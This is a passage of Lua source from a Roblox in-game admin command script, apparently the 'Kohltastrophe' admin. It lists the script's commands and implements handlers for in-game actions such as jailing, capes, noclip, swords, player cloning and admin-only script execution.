  478. local cmds = {"TempAdmins: ","s code ","ls code ","clear ","fix ","m msg ","h msg ","kill plr ","respawn plr ","trip plr ","stun plr ","unstun plr ","jump plr ","sit plr ","invisible plr ","visible plr ","explode plr ","fire plr ","unfire plr ","smoke plr ","unsmoke plr ","sparkles plr ","unsparkle plr ","ff plr ","unff plr ","punish plr ","unpunish plr ","freeze plr ","thaw plr ","heal plr ","god plr ","ungod plr ","ambient num num num ","brightness num ","time num ","fogcolor num num num ","fogend num ","fogstart num ","removetools plr ","btools plr ","give plr tool ","damage plr ","grav plr ","setgrav plr num ","nograv plr ","health plr num ","speed plr num ","name plr name ","unname plr ","team plr color ","teleport plr plr ","change plr stat num ","kick plr ","infect plr ","rainbowify plr ","flashify plr ","noobify plr ","ghostify plr ","goldify plr ","shiny plr ","normal plr ","trippy plr ","untrippy plr ","strobe plr ","unstrobe plr ","blind plr ","unblind plr ","guifix plr ","fling plr ","seizure plr","music plr num ","stopmusic ","lock plr ","unlock plr ","removelimbs plr ","jail plr ","unjail plr ","fly plr ","unfly plr ","noclip plr ","clip plr ","pm plr msg ","dog plr ","undog plr ","creeper plr ","uncreeper plr ","place plr id ","char plr id ","unchar plr id ","rank plr id ","starttools plr ","sword plr ","bighead plr ","minihead plr ","spin plr ","insert id ","disco ","flash ","admins ","bans ","musiclist ","cape plr color ","uncape plr ","loopheal plr ","loopfling plr ","hat plr id ","unloopfling plr ","unloopheal plr ","unspin plr ","tools ","undisco ","unflash ","resetstats plr ","gear plr id ","cmdbar ","shirt plr id ","pants plr id ","face plr id ","swagify plr id ","version ","tm num msg ","countdown num ","clone plr ","lsplr plr code ","startergive plr tool ","control plr ","changes ","outdoorambient num num num ","thee plr ","kohl plr ","dynamic on/off ","scripth plr ","pitch num ","volume num ","pause ","play ","stop "}
  479. local ast = {"Admins ","serverlock ","serverunlock ","sm msg ","crash plr ","admin plr ","unadmin plr ","ban plr ","unban plr ","loopkill plr ","unloopkill plr ","logs ","shutdown ","fixcam plr "}
  480. local ost = {"Owner: ","pa plr ","unpa plr ","nuke plr "}
  481. local tost = {"True Owner: ","oa plr ","unoa plr ","settings ","sbsettings ","musicsettings ","mute plr ","unmute plr ","deadlycmds "}
  482. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  483. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " test" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  484. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " rejoin" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  485. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " reset" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  486. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " stopmusic" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  487. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " editor" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  488. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf for l = 1, #v do cl.Text = tostring(string.sub(num .. " " .. prefix .. v,1,l)) cl.Position = UDim2.new(0,0,0,num*20) wait(0.035)end num = num +1 end
  489. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf for l = 1, #v do cl.Text = tostring(string.sub("- " .. prefix .. v,1,l)) cl.Position = UDim2.new(0,0,0,num*20)wait(0.035)end num = num +1 end end
  490. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf for l = 1, #v do cl.Text = tostring(string.sub("-- " .. prefix .. v,1,l)) cl.Position = UDim2.new(0,0,0,num*20)wait(0.035)end num = num +1 end end
  491. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf for l = 1, #v do cl.Text = tostring(string.sub("_ " .. prefix .. v,1,l)) cl.Position = UDim2.new(0,0,0,num*20)wait(0.035)end num = num +1 end end
  492. end
  493.  
  494. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  495.  
  496. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  497. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  498. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  499. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = "Owner - "..v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  500. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = "Admin - "..v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  501. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = "TempAdmin - "..v cl.Position = UDim2.new(0,0,0,num*20)num = num +1 end end
  502. end
  503.  
  504. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  505. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  506. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  507. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  508. end
  509.  
  510. if msg:lower() == "tools" or msg:lower() == "toollist" then
  511. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  512. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  513. for i, v in pairs(game:GetService("ReplicatedStorage"):children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  514. end
  515.  
  516. if msg:lower() == "changes" or msg:lower() == "history" then
  517. if plr.PlayerGui:findFirstChild("HISTORY") then return end
  518. local scr, cmf, ent, num = ScrollGui() scr.Name = "HISTORY" scr.Parent = plr.PlayerGui
  519. local changed = {"New changes history command!","Changed the Color texture for the '"..prefix.."m '/'"..prefix.."h ' cmds","New command ':changes'","New command ':kohl plr' to become Kohltastrophe","New command ':thee plr' to become TheeDeathCaster","Added a new music to the music commands 'running'","New command ':scripth plr' to become Scripth","New command ':outdoorambient num num num' to change the OutdoorAmbient within Lighting","New command ':dynamic on/off' to turn on/off dynamic lighting","Edited the Unexploitable SB feature, should be more secure now","Edited the ':music plr id' cmd, will keep playing onDeath","No longer updating, out of ideas, and Scripth is working on a new Admin","Did a small change to the ':trippy plr' command, player can kind-of see","Same with the ':trippy plr' command, player can kind-of see","New command ':volume num' to change the volume of a sound","New command ':pitch num' to change the pitch of a sound"}
  520. for i, v in pairs(changed) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num + 1 end
  521. end
  522.  
  523. if msg:lower():sub(1,2) == "s " then
  524. coroutine.resume(coroutine.create(function()
  525. Output(msg:sub(3), plr)
  526. if ScriptBase and EnableLoadstring then
  527. local cl = ScriptBase:Clone() cl.Code.Value = string.reverse(msg:sub(3))
  528. table.insert(objects, cl) cl.Parent = game.ServerScriptService cl.Disabled = false
  529. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  530. end
  531. end))
  532. end
  533.  
  534. if msg:lower():sub(1,3) == "ls " then
  535. coroutine.resume(coroutine.create(function()
  536. if LocalScriptBase and EnableLoadstring then
  537. local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse(msg:sub(4))
  538. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  539. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  540. end
  541. end))
  542. end
  543.  
  544. if msg:lower():sub(1,6) == "lsplr " then
  545. local chk1 = msg:lower():sub(7):find(" ") + 6
  546. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  547. for i, v in pairs(plrz) do
  548. coroutine.resume(coroutine.create(function()
  549. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false)and EnableLoadstring then
  550. if LocalScriptBase then
  551. local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse(msg:sub(chk1+1))
  552. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  553. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  554. end
  555. end
  556. end))
  557. end
  558. end
  559.  
  560. if msg:lower():sub(1,4) == "ins " then
  561. coroutine.resume(coroutine.create(function()
  562. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  563. if obj and #obj:children() >= 1 and plr.Character and DeadlyCommands then
  564. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  565. end
  566. end))
  567. end
  568.  
  569. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  570. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  571. RemoveMessage()
  572. objects = {}
  573. end
  574.  
  575. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  576. game.Lighting.Ambient = origsettings.abt
  577. game.Lighting.Brightness = origsettings.brt
  578. game.Lighting.TimeOfDay = origsettings.time
  579. game.Lighting.FogColor = origsettings.fclr
  580. game.Lighting.FogEnd = origsettings.fe
  581. game.Lighting.FogStart = origsettings.fs
  582. for i, v in pairs(lobjs) do v:Destroy() end
  583. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  584. end
  585.  
  586. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  587. coroutine.resume(coroutine.create(function()
  588. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  589. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  590. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command" box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  591. local box2 = Instance.new("TextButton", scr) print("K") box2.BackgroundColor3 = Color3.new(0,0,0) print("KK") box2.TextColor3 = Color3.new(1,1,1) print("KKK") box2.Font = "Arial" print("KKKK") box2.FontSize = "Size14" print("KKKKK") box2.Text = "Enter Command" print("KKKKKK") box2.Size = UDim2.new(0,250,0,20) print("KKKKKKK") box2.Position = UDim2.new(1,-250,1,-42) print("k") box2.BorderSizePixel = 0 print("kk") box2.TextXAlignment = "Right" print("kkk") box2.ZIndex = 10 print("kkkk") box2.ClipsDescendants = true print("kkkkk")
  592. box2.MouseButton1Click:connect(function() if not box.Text ~= "Type a command" then Chat(box.Text, plr) box.Text = "Type a command" else print("Oh no!") end end)
  593. end))
  594. end
  595.  
  596. if msg:lower():sub(1,10) == "countdown " then
  597. local num = math.min(tonumber(msg:sub(11)),120)
  598. for i = num, 1, -1 do
  599. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  600. wait(1)
  601. end
  602. end
  603.  
  604. if msg:lower():sub(1,3) == "tm " then
  605. local chk1 = msg:lower():sub(4):find(" ") + 3
  606. local num = tonumber(msg:sub(4,chk1-1))
  607. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  608. end
  609.  
  610. if msg:lower():sub(1,2) == "m " then
  611. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  612. end
  613.  
  614. if msg:lower():sub(1,2) == "h " then
  615. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  616. end
  617.  
  618. if msg:lower():sub(1,3) == "pm " then
  619. local chk1 = msg:lower():sub(4):find(" ") + 3
  620. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  621. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  622. end
  623.  
  624. if msg:lower():sub(1,11) == "resetstats " then
  625. local plrz = GetPlr(plr, msg:lower():sub(12))
  626. for i, v in pairs(plrz) do
  627. coroutine.resume(coroutine.create(function()
  628. if v and v:findFirstChild("leaderstats") then
  629. for a, q in pairs(v.leaderstats:children()) do
  630. if q:IsA("IntValue") then q.Value = 0 end
  631. end
  632. end
  633. end))
  634. end
  635. end
  636.  
  637. if msg:lower():sub(1,5) == "gear " then
  638. local chk1 = msg:lower():sub(6):find(" ") + 5
  639. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  640. for i, v in pairs(plrz) do
  641. coroutine.resume(coroutine.create(function()
  642. if v and v:findFirstChild("Backpack") and DeadlyCommands then
  643. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  644. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  645. obj:Destroy()
  646. end
  647. end))
  648. end
  649. end
  650.  
  651. if msg:lower():sub(1,4) == "hat " then
  652. local chk1 = msg:lower():sub(5):find(" ") + 4
  653. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  654. for i, v in pairs(plrz) do
  655. coroutine.resume(coroutine.create(function()
  656. if v and v.Character then
  657. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  658. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  659. obj:Destroy()
  660. end
  661. end))
  662. end
  663. end
  664.  
  665. if msg:lower():sub(1,5) == "cape " then
  666. local chk1 = msg:lower():sub(6):find(" ")
  667. local plrz = GetPlr(plr, msg:lower():sub(6))
  668. local str = "torso.BrickColor"
  669. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  670. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  671. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  672. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  673. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  674. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  675. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  676. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  677. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  678. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  679. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  680. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  681. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  682. if msg:sub(chk1+1):lower() == "thee" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109049384"]] end
  683. if BrickColor.new(teststr) ~= nil then str = teststr end
  684. end
  685. for i, v in pairs(plrz) do
  686. coroutine.resume(coroutine.create(function()
  687. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and EnableLoadstring then
  688. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  689. local cl = LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = string.reverse([[local plr = game.Players.LocalPlayer
  690. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  691. local torso = plr.Character.Torso
  692. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  693. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  694. p.Size = Vector3.new(.2,.2,.2)
  695. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  696. local motor1 = Instance.new("Motor", p)
  697. motor1.Part0 = p
  698. motor1.Part1 = torso
  699. motor1.MaxVelocity = .01
  700. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  701. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  702. local wave = false
  703. repeat wait(1/44)
  704. local ang = 0.1
  705. local oldmag = torso.Velocity.magnitude
  706. local mv = .002
  707. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  708. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  709. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  710. motor1.DesiredAngle = -ang
  711. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  712. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  713. if torso.Velocity.magnitude < .1 then wait(.1) end
  714. until not p or p.Parent ~= torso.Parent
  715. script:Destroy()
  716. ]]) cl.Parent = v.PlayerGui cl.Disabled = false
  717. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  718. end
  719. end))
  720. end
  721. end
  722.  
  723. if msg:lower():sub(1,7) == "uncape " then
  724. local plrz = GetPlr(plr, msg:lower():sub(8))
  725. for i, v in pairs(plrz) do
  726. coroutine.resume(coroutine.create(function()
  727. if v and v:findFirstChild("PlayerGui") and v.Character then
  728. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  729. end
  730. end))
  731. end
  732. end
  733.  
  734. if msg:lower():sub(1,7) == "noclip " then
  735. local plrz = GetPlr(plr, msg:lower():sub(8))
  736. for i, v in pairs(plrz) do
  737. coroutine.resume(coroutine.create(function()
  738. if v and v:findFirstChild("PlayerGui") and EnableLoadstring then
  739. local cl = LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = string.reverse([[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]])
  740. cl.Parent = v.PlayerGui cl.Disabled = false
  741. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  742. end
  743. end))
  744. end
  745. end
  746.  
  747. if msg:lower():sub(1,5) == "clip " then
  748. local plrz = GetPlr(plr, msg:lower():sub(6))
  749. for i, v in pairs(plrz) do
  750. coroutine.resume(coroutine.create(function()
  751. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  752. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  753. v.Character.Torso.Anchored = false
  754. wait(.1) v.Character.Humanoid.PlatformStand = false
  755. end
  756. end))
  757. end
  758. end
  759.  
  760. if msg:lower():sub(1,5) == "jail " then
  761. local plrz = GetPlr(plr, msg:lower():sub(6))
  762. for i, v in pairs(plrz) do
  763. coroutine.resume(coroutine.create(function()
  764. if v and v.Character and v.Character:findFirstChild("Torso") then
  765. local vname = v.Name
  766. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  767. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  768. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  769. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  770. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  771. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  772. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  773. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  774. end)
  775. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  776. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  777. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  778. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  779. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  780. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  781. local msh2 = msh:Clone() msh2.Parent = back
  782. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  783. local msh4 = msh3:Clone() msh4.Parent = left
  784. v.Character.Torso.CFrame = cf
  785. end
  786. end))
  787. end
  788. end
  789.  
  790. if msg:lower():sub(1,7) == "unjail " then
  791. local plrz = GetPlr(plr, msg:lower():sub(8))
  792. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  793. end
  794.  
  795. if msg:lower():sub(1,11) == "starttools " then
  796. local plrz = GetPlr(plr, msg:lower():sub(12))
  797. for i, v in pairs(plrz) do
  798. coroutine.resume(coroutine.create(function()
  799. if v and v:findFirstChild("Backpack") then
  800. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  801. end
  802. end))
  803. end
  804. end
  805.  
  806. if msg:lower():sub(1,6) == "sword " then
  807. local plrz = GetPlr(plr, msg:lower():sub(7))
  808. for i, v in pairs(plrz) do
  809. coroutine.resume(coroutine.create(function()
  810. if v and v:findFirstChild("Backpack") and EnableLoadstring and DeadlyCommands then
  811. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  812. sword.GripForward = Vector3.new(-1,0,0)
  813. sword.GripPos = Vector3.new(0,0,-1.5)
  814. sword.GripRight = Vector3.new(0,1,0)
  815. sword.GripUp = Vector3.new(0,0,1)
  816. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  817. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  818. local cl = LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = string.reverse([[
  819. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  820. local Damage = 15
  821. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  822. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  823. SlashSound.Volume = 1
  824. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  825. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  826. LungeSound.Volume = 1
  827. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  828. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  829. UnsheathSound.Volume = 1
  830. local last = 0
  831. script.Parent.Handle.Touched:connect(function(hit)
  832. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  833. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  834. hit.Parent.Humanoid:TakeDamage(Damage)
  835. end
  836. end)
  837. script.Parent.Activated:connect(function()
  838. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  839. script.Parent.Enabled = false
  840. local tick = game:service("RunService").Stepped:wait()
  841. if tick - last <= .2 then
  842. LungeSound:play()
  843. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  844. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  845. wait(.2)
  846. script.Parent.GripForward = Vector3.new(0,0,1)
  847. script.Parent.GripRight = Vector3.new(0,-1,0)
  848. script.Parent.GripUp = Vector3.new(-1,0,0)
  849. wait(.3)
  850. frc:Destroy() wait(.5)
  851. script.Parent.GripForward = Vector3.new(-1,0,0)
  852. script.Parent.GripRight = Vector3.new(0,1,0)
  853. script.Parent.GripUp = Vector3.new(0,0,1)
  854. else
  855. SlashSound:play()
  856. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  857. end
  858. last = tick
  859. script.Parent.Enabled = true
  860. end)
  861. script.Parent.Equipped:connect(function(mouse)
  862. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  863. UnsheathSound:play()
  864. script.Parent.Enabled = true
  865. if not mouse then return end
  866. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  867. end)]]) cl.Disabled = false
  868. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  869. end
  870. end))
  871. end
  872. end
  873.  
  874. if msg:lower():sub(1,6) == "clone " then
  875. local plrz = GetPlr(plr, msg:lower():sub(7))
  876. for i, v in pairs(plrz) do
  877. coroutine.resume(coroutine.create(function()
  878. if v and v.Character then
  879. v.Character.Archivable = true
  880. local cl = v.Character:Clone()
  881. table.insert(objects,cl)
  882. cl.Parent = game.Workspace
  883. cl:MoveTo(v.Character:GetModelCFrame().p)
  884. cl:MakeJoints()
  885. v.Character.Archivable = false
  886. end
  887. end))
  888. end
  889. end
  890.  
  891. if msg:lower():sub(1,8) == "control " then
  892. local plrz = GetPlr(plr, msg:lower():sub(9))
  893. for i, v in pairs(plrz) do
  894. coroutine.resume(coroutine.create(function()
  895. if v and v.Character then
  896. v.Character.Humanoid.PlatformStand = true
  897. local w = Instance.new("Weld", plr.Character.Torso )
  898. w.Part0 = plr.Character.Torso
  899. w.Part1 = v.Character.Torso
  900. local w2 = Instance.new("Weld", plr.Character.Head)
  901. w2.Part0 = plr.Character.Head
  902. w2.Part1 = v.Character.Head
  903. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  904. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  905. w3.Part1 = v.Character:findFirstChild("Right Arm")
  906. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
